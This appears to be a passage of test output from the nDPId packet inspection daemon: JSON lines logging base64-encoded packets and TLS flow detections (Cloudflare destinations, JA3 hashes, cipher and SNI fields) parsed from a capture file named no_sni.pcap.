+01691{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822445,"pkt_ts_usec":39824,"pkt_caplen":1001,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1001,"pkt_l4_len":967,"pkt":"EBMxuRBeeDHBvV4kCABFAAPbAABAAEAGkI3AqAF3aBB8YMmcAbs\/DuN7hGv40FAYEADx5QAAFgMBA64BAAOqAwOKZdoIJJLXVGZA4tLet+CaUHoCgYsVNfGcUO5E5Yyw\/iDkSSMrT+G4DHKylGZE+9t1xT9Bwk1il4gkdGKmixfHxQAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAnACdAC8ANQAKAQADPQAXAAD\/AQABAAAKAA4ADAAdABcAGAAZAQABAQALAAIBAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAAzAGsAaQAdACDGOo4vonTOM2GYlWlh+M28Bv4rBtCSolJUMSM6byGyQgAXAEEEsB47X5x8IY\/5MH1UqXpFAzbgAcO0IeN+cLY8gPqZEdzm0gMalJCJbmIbZn57y5aw8W4ViyGLcMicP949QRl9egArAAUEAwQDAwANABgAFgQDBQMGAwgECAUIBgQBBQEGAQIDAgEALQACAQH\/zgFuEwEAHQAgPGWhhHXhSBIvBL4hXbOZcIM+rNQD2DcGROPY4ll\/rXoAINowFgSFokV0+8oDzPiOBNFVqPuEsCkk5QU+JZFVeXqbASQVT3cyI9DPD+8Kd3Ww2Vi2d0E4DueGAORAkX1nZsCd92axwR+an6cI7N5dHl3UWilB1dYjPA\/Cb+kdo\/rtnIL2uvuu1ZO84mgnhL6aaGeyGgbrvNPbA3g3+pnNDT4RerDjfoe6\/qjpiEkt\/Cxegk8zCUdDD7xu0Ze3gFLPNBw+NMoVVk69a4J2D0HN5dwh\/g8OZb9iLxYQWYC6JERpN1lgtG78xLVcvV7ggnnVMs5uIwGEnfiUjF5hH5552rRr3aNqybi0n1REe12jTc0CaJnSAjssolOGEIF7Eaz0cCSNxSIxNWYS+ViM9d+mFqlG4AnoxOS3kAdhb0o3XzgfHmqOXT\/Qig2tFDnf48VJlSDMHfMizonuSCJtbeL2gpig1kFTmUpSABwAAkABACkA6wDGAMDNhC2AFFGfXEp15it59dLTTVcyyn8S81OKgZyxn+d71MvWDP\/H\/yZ0CKRnioxg4kYE8g9KY6NDndAUJAO9irc5kVyEUHYiCa1\/b7\/PO7UXyHtWF05jOnlW5epvkBcUEoz1cKj1FoHg8jVn4OXxB+hMeVp6O5W\/MXtAJMwvSY1RBUIJUwEcBDbTUg50wHii6KzVTxBq1wBqLSaTaWlzZDkiUB263uSuAwEWUj4P6lD3GW+slylGFmC4b7jJ6LG5XizAQoRaACEg2Q4sqc9BVWDARn8I0Hf4LU0dkZ+vNaoeVKdqU0RHzqY="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":45,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1604822444913,"flow_last_seen":1604822445039,"flow_tot_l4_data_len":1063,"flow_min_l4_data_len":20,"flow_max_l4_data_len":967,"flow_avg_l4_data_len":265,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.16.124.96","src_port":51612,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"398991c398d60bfa0e3f00f8782dafc9","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +00415{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822445,"pkt_ts_usec":134722,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAo0tZAADkGyGloEHxgwKgBdwG7yZyEa\/jQPw7nLlAQAEKaMQAAAAAAAAAA"} +00726{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822445,"pkt_ts_usec":135087,"pkt_caplen":286,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":286,"pkt_l4_len":252,"pkt":"eDHBvV4kEBMxuRBeCABFAAEQ0tdAADkGx4BoEHxgwKgBdwG7yZyEa\/jQPw7nLlAYAEJOTwAAFgMDAIACAAB8AwMPxMHsKBsXvES1IjShtU3FIaPaV3fodKFl182Oe4PZoSDkSSMrT+G4DHKylGZE+9t1xT9Bwk1il4gkdGKmixfHxRMBAAA0ACkAAgAAADMAJAAdACC\/+Us5ZodNdZF2v1icha31caTzrjEo6ocsJu9v6PULSQArAAIDBBQDAwABARcDAwBYTWADwDiPz5haIq\/4ANExQS4rUN8wl\/YZd0kl4RFnF8cEcaXp9PlBN\/35wR8WUVU8aP07eeMzDnxs0HLL7+7teEMfhQPIt4cLWgXltUI2LeR8t5GUBjBrhA=="} +00798{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":47,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1604822444913,"flow_last_seen":1604822445135,"flow_tot_l4_data_len":1335,"flow_min_l4_data_len":20,"flow_max_l4_data_len":967,"flow_avg_l4_data_len":222,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.16.124.96","src_port":51612,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"","ja3":"398991c398d60bfa0e3f00f8782dafc9","ja3s":"2b0648ab686ee45e0e7c35fcfb0eea7e","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +00408{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822445,"pkt_ts_usec":135156,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGlEDAqAF3aBB8YMmcAbs\/DucuhGv5uFAQD\/yJjwAA"} +00498{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822445,"pkt_ts_usec":136113,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"EBMxuRBeeDHBvV4kCABFAABoAABAAEAGlADAqAF3aBB8YMmcAbs\/DucuhGv5uFAYEABdSQAAFAMDAAEBFwMDADXp5plQAx+zPTYbgfadISqs3V5dZWGPL9F5D\/MmxOtwb9vpa1mthxbGN5C5qk3DeuGuWzrOHQ=="} +00641{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822445,"pkt_ts_usec":140863,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"EBMxuRBeeDHBvV4kCABFAADSAABAAEAGk5bAqAF3aBB8YMmcAbs\/DuduhGv5uFAYEACXEwAAFwMDAKW0Ld72I4gnpFKbYksb5ZnY3X86o5vc4TAnm6Lnvl28lBTOl\/1ciEJE0tzuICFQLYqLiQAGAvp4JxS8UJbI\/Y8Gf\/7CUY718mdQscYFW3gY3DzMteK+i+683zwJiKyze880SzM9VH3mbqPGbsI6lE3ao5xq8Eld4x669Eu3xp0r7+T29AquWsMi0oz0pA8FQvxoqQ6mNLHE1TJJx9kvHZbBLxdz1ZY="} +01585{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822445,"pkt_ts_usec":140983,"pkt_caplen":917,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":917,"pkt_l4_len":883,"pkt":"EBMxuRBeeDHBvV4kCABFAAOHAABAAEAGkOHAqAF3aBB8YMmcAbs\/DugYhGv5uFAYEADmNQAAFwMDA1rW4TB4zTx26rHAz4EqgG03W0Ot1IQcapatUHefqCVDOBP14zSqKtxhw0q1uKAATTGdyS8sSSKHutyxIZgnDyiez95VNQZsic\/WDL6P6Y2zy3eznwixhdY\/Ph3U6ePC1p2WeoZzI9HimIx+WGG+irSPIXQyYBa9XJD3kAXmDH4EnVflk15ssjWHK8t+i+Z1+g0mi1ms\/OoObakFjxfmGvDhwodmrwY\/\/yZY8PjuysAcnzg7D6kb2nETgbZZouD3NGr88zhkkVv53f1u9+isjXa7VTHCGz765XzsY7okvwYHFHK7n\/wnLxf+2EvTQ5uUFvxf7qvLbFArt7bn8kYJl7XhlPpX4oBYX0FOm+Lw8GUso1e8TPJDNz20Ur\/oj+46q\/yGgcLdip5UAH+eYWLbCpnrVSPAlFtse10kxc9XCEIKPz07\/SyDTyZ+QnfyUfZfL\/lWEFw4rZjILNc8KFbnsRmEKvlj4OW7Ab\/vQQbQjRnzvAzIsPU9GiOXRRsGk6SV81WVanvTAjg2wujGjLK7ZKYsGQ328qr6MvHBFTTUiBLsriYuOzxTcU5TFr9CWnaEVDQpAXeo6sUmDZF3sxX84G2QYOn2MLDsXsrwAvEsrR1KkeUe1cWABPp9vbWKM0zX\/Z05qis1effz1rEOoBe+h0KkEjiFmqcL0gmjZZlfgTkG5fkPtmqrlFdn89A6PPgtBOdCR4\/as4UFgtByIuaVIQn2WU20+VnYeNzUpWC\/DRcaJ\/aCMtQUKW\/rjPqF1WhYAdfwxR3XJEONy2euYcxp6tN9xX9p69GiIg0jNukAwsN0zemWS2aiu71LmReRpYq5R0n+GlBvFg0USzAOQ2W1iE\/X7PFaetYaxY\/PMZ6uy2kuDXgLQE1m3JPn8ClNn+YRcpP0mtL+sVRdwHwILGMsG\/lD3SC3A3+D0b17h0FWmTyPnBiE28+On9tOd+KVAondQ4c1oPWD9QCl1Nsf9pNDE\/oEk+RwOqf1p07fbI7+k7RHnaHNYr4vL0\/ldLEXdI3BH8zPyt9x0EG3NbrN0xrwH\/uoMhoOHaWq7SfeCoADkJwrQS5p1VBMS4SVAkGII1VfKkFNjB1otTp8V3fUyDg57eXJSlkuPapnD5cEdAIql7iR8GxXOphI7uZO6xU="} +00416{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822445,"pkt_ts_usec":212155,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAo0thAADkGyGdoEHxgwKgBdwG7yZyEa\/m4Pw7nblAQAEKZCQAAAAAAAAAA"} +01111{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822445,"pkt_ts_usec":212688,"pkt_caplen":566,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":566,"pkt_l4_len":532,"pkt":"eDHBvV4kEBMxuRBeCABFAAIo0tlAADkGxmZoEHxgwKgBdwG7yZyEa\/m4Pw7nblAYAEJG3gAAFwMDAb1taqqX0BBV6sWBD\/1sjlQ6DfI8U5fYOD3NhDDNtbRG1xjc748S\/5VvkMuphoA\/lFgcVPkdYpMcUMzBvGndUGrhIYdQFzuTNiIURJn8ZZ6Aag8HetI5H8bBkr+K6ZA3xL346jYmUkgoO0r9c0SGh27ZqYK3YApZ0pzHdaVip3stIVPsrfQ2GWdb0l77b8blOSiTkwK8MzzIP7dCTv4Q20QxRnZUSe51Tq9ASqkqCBnecNcElD1tUfKY9f8tGHrRBzuS135beIPrD3C4MO0fXU+XrsKoUmY\/k2oB\/\/NVNAju5KjFZCLbXN+0rmFNW+UOviJ9KW5WQ3bWKkFHexxGf68LgUqEzaXLr5Po2PMT17FUl8JVMqDH\/UD\/ZicQLMlLXYtnNwd4B+2Ri6jK4fQhJTKhmh5OddmfJZ41fE\/RbtYLy+zmrCwW\/9Kowy08Hol29I+pJFtySuFE\/jJpb6SZDV2sN7NYGnEqaUVq1w37I6miV6lN2zP3URI5R16o7pJto\/PyfFLmBzBlqPUbrYy5pvB1YqASX3MoHnrdD8iYFvXcEj4Az+lnaZOCTPrIhJ\/4R+l\/0a0aSSnnw8EokM1cFwMDADnS1Bd4vCo2y\/U+2w4B+1TM2bxqJc3KUtOzfBOtKXm0n7H2HoS199VsyuYNNUzZdtYX3YrQ\/3MMRUA="} +00409{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822445,"pkt_ts_usec":212757,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGlEDAqAF3aBB8YMmcAbs\/Dut3hGv7uFAQD\/iDSgAA"} +00416{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822445,"pkt_ts_usec":212870,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAo0tpAADkGyGVoEHxgwKgBdwG7yZyEa\/u4Pw7oGFAQAESWXQAAAAAAAAAA"} +00452{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822445,"pkt_ts_usec":213297,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"eDHBvV4kEBMxuRBeCABFAABH0ttAADkGyEVoEHxgwKgBdwG7yZyEa\/u4Pw7oGFAYAER7YQAAFwMDABpGxdUrLYCuTorkmz+QUVhSrRE535QMtYaa2g=="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":778,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1604822447227,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.17.198.37","src_port":51635,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":778,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":227531,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMxuRBeeDHBvV4kCABFAABAAABAAEAGSmLAqAF3aBHGJcmzAbtjbUROAAAAALAC\/\/+t4gAAAgQFtAEDAwYBAQgKKlL7RgAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":789,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1604822447249,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.17.198.37","src_port":51636,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":789,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":249969,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMxuRBeeDHBvV4kCABFAABAAABAAEAGSmLAqAF3aBHGJcm0AbsYxEgFAAAAALAC\/\/\/0wAAAAgQFtAEDAwYBAQgKKlL7WQAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":805,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1604822447287,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.22.72.170","src_port":51637,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":805,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":287011,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMxuRBeeDHBvV4kCABFAABAAABAAEAGx9jAqAF3aBZIqsm1AbvwpFrxAAAAALAC\/\/+HSQAAAgQFtAEDAwYBAQgKKlL7eQAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":806,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1604822447287,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.22.72.170","src_port":51638,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":806,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":287254,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMxuRBeeDHBvV4kCABFAABAAABAAEAGx9jAqAF3aBZIqsm2AbtLPosXAAAAALAC\/\/\/8iAAAAgQFtAEDAwYBAQgKKlL7eQAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":807,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1604822447287,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.22.72.170","src_port":51639,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":807,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":287617,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMxuRBeeDHBvV4kCABFAABAAABAAEAGx9jAqAF3aBZIqsm3AbsAL2HpAAAAALAC\/\/9wxQAAAgQFtAEDAwYBAQgKKlL7eQAAAAAEAgAA"} +00426{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":809,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":311202,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eDHBvV4kEBMxuRBeCABFAAA0AABAADcGU25oEcYlwKgBdwG7ybNKGfaqY21ET4AS\/\/\/K9AAAAgQFeAEBBAIBAwMK"} +00407{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":810,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":311306,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGSnrAqAF3aBHGJcmzAbtjbURPShn2q1AQEAD7jQAA"} +01104{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":819,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":321601,"pkt_caplen":571,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":571,"pkt_l4_len":537,"pkt":"EBMxuRBeeDHBvV4kCABFAAItAABAAEAGSHXAqAF3aBHGJcmzAbtjbURPShn2q1AYEABxjAAAFgMBAgABAAH8AwOOdaINkrkni1lkg0EYhB7CXywxYLUEQaB94XZ7swcviyDoXf8Mnld+CWLGSYqiJkQGZZHCItfbHLw5GpALvsX0fwAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAnACdAC8ANQAKAQABjwAAAEIAQAAAPTk1MWM1NThhLTVlMDctNDdjYS1hMGMwLTIyNWRhMWIzMzE2My5pcy1jZi5oZWxwLmV2ZXJ5MWRucy5uZXQAFwAA\/wEAAQAACgAOAAwAHQAXABgAGQEAAQEACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAADMAawBpAB0AIOfwyLIVH0Su0me3OGwu5ql9kHcNhOKA2\/oA4t1UmEYWABcAQQQbVWVY2y3r6Noo9p6qd3fGD31lfhwkBleOSQVZR94Q2uMqa3NtF3kY1er0qJelDJ3SvS5bjVDkBqwPJYfE80afACsABQQDBAMDAA0AGAAWBAMFAwYDCAQIBQgGBAEFAQYBAgMCAQAtAAIBAQAcAAJAAQAVAGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00820{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":819,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":4,"flow_first_seen":1604822447227,"flow_last_seen":1604822447321,"flow_tot_l4_data_len":633,"flow_min_l4_data_len":20,"flow_max_l4_data_len":537,"flow_avg_l4_data_len":158,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.17.198.37","src_port":51635,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"951c558a-5e07-47ca-a0c0-225da1b33163.is-cf.help.every1dns.net","ja3":"1fd36067223570569bbf156fece40978","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +00425{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":820,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":325440,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eDHBvV4kEBMxuRBeCABFAAA0AABAADcGU25oEcYlwKgBdwG7ybQgqbhsGMRIBoAS\/\/95lAAAAgQFeAEBBAIBAwMK"} +00407{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":821,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":325515,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGSnrAqAF3aBHGJcm0AbsYxEgGIKm4bVAQEACqLQAA"} +01104{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":822,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":330671,"pkt_caplen":571,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":571,"pkt_l4_len":537,"pkt":"EBMxuRBeeDHBvV4kCABFAAItAABAAEAGSHXAqAF3aBHGJcm0AbsYxEgGIKm4bVAYEACqNQAAFgMBAgABAAH8AwMTMNwzO21ZEZnBJ8YoE109\/i6YNzxxygde+NFPk4Vg0yBtnXms51StvlcYPwUtQJ3a2Aae1RGCTFOxqXrJXOFBFAAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAnACdAC8ANQAKAQABjwAAAEMAQQAAPjk1MWM1NThhLTVlMDctNDdjYS1hMGMwLTIyNWRhMWIzMzE2My5pcy1kb2guaGVscC5ldmVyeTFkbnMubmV0ABcAAP8BAAEAAAoADgAMAB0AFwAYABkBAAEBAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAAzAGsAaQAdACAAGB+Ylz9tQWb3UZnj0MzC1iRLGQar+XyEWlMZnweIGQAXAEEEqEtOLMcAlryMSCaEMrbAEwrL0bH8mkD8soGNzp04CSJANtzqXJe3j\/dKAkxSvfkPUgnR4yBBz+PZw0ry7VkmCQArAAUEAwQDAwANABgAFgQDBQMGAwgECAUIBgQBBQEGAQIDAgEALQACAQEAHAACQAEAFQBkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00821{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":822,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1604822447249,"flow_last_seen":1604822447330,"flow_tot_l4_data_len":633,"flow_min_l4_data_len":20,"flow_max_l4_data_len":537,"flow_avg_l4_data_len":158,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.17.198.37","src_port":51636,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"951c558a-5e07-47ca-a0c0-225da1b33163.is-doh.help.every1dns.net","ja3":"1fd36067223570569bbf156fece40978","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +00425{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":823,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":368937,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eDHBvV4kEBMxuRBeCABFAAA0AABAADQG0+RoFkiqwKgBdwG7ybVDiAdt8KRa8oAS\/\/+aXQAAAgQFeAEBBAIBAwMK"} 